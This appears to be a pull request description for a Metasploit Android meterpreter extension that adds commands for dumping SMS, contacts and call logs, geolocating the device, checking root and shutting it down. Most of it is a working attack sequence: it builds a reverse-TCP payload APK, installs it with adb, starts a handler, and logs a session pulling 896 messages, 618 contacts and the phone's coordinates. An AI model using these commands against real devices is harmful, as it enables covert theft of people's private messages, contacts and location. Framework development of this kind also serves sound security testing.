Android meterpreter extension

I have added special commands for android into the meterpreter console like:

"dump_sms" => "Get sms messages",
"dump_contacts" => "Get contacts list",
"geolocate" => "Get current lat-long using geolocation",
"dump_calllog" => "Get call log"
"check_root" => "Check if device is rooted",
"device_shutdown" => "Shutdown device"

to launch the attack:

```
ruby ./msfpayload android/meterpreter/reverse_tcp LHOST=10.0.0.1 R > droid.apk
adb install droid.apk
ruby msfconsole -x "sleep 2; use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 10.0.0.1; exploit"

payload => android/meterpreter/reverse_tcp
LHOST => 10.0.0.1
[] Started reverse handler on 10.0.0.1:4444
[] Starting the payload handler...
[] Sending stage (42777 bytes) to 10.0.0.21
[] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.21:39982) at 2013-08-10 18:58:30 +0200

meterpreter > help

Android Commands:
Command Description

check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
device_shutdown Shutdown device
check_root Check if device is rooted

meterpreter > sysinfo
Computer : localhost
OS : Android 4.1.1 (API 16) - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android

meterpreter > dump_calllog
[] Fetching 164 entries
[] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[] Fetching 896 sms messages
[] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[] Fetching 618 contacts into list
[] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

Latitude  : 31.2186009
Longitude : 29.9448264
meterpreter > exit
```
I'm not sure about this part. I think it would make more sense to elevate and run the whole meterpreter to root  (e.g implement getsystem, like on windows) before enabling this command, but that's beyond the scope of this pr.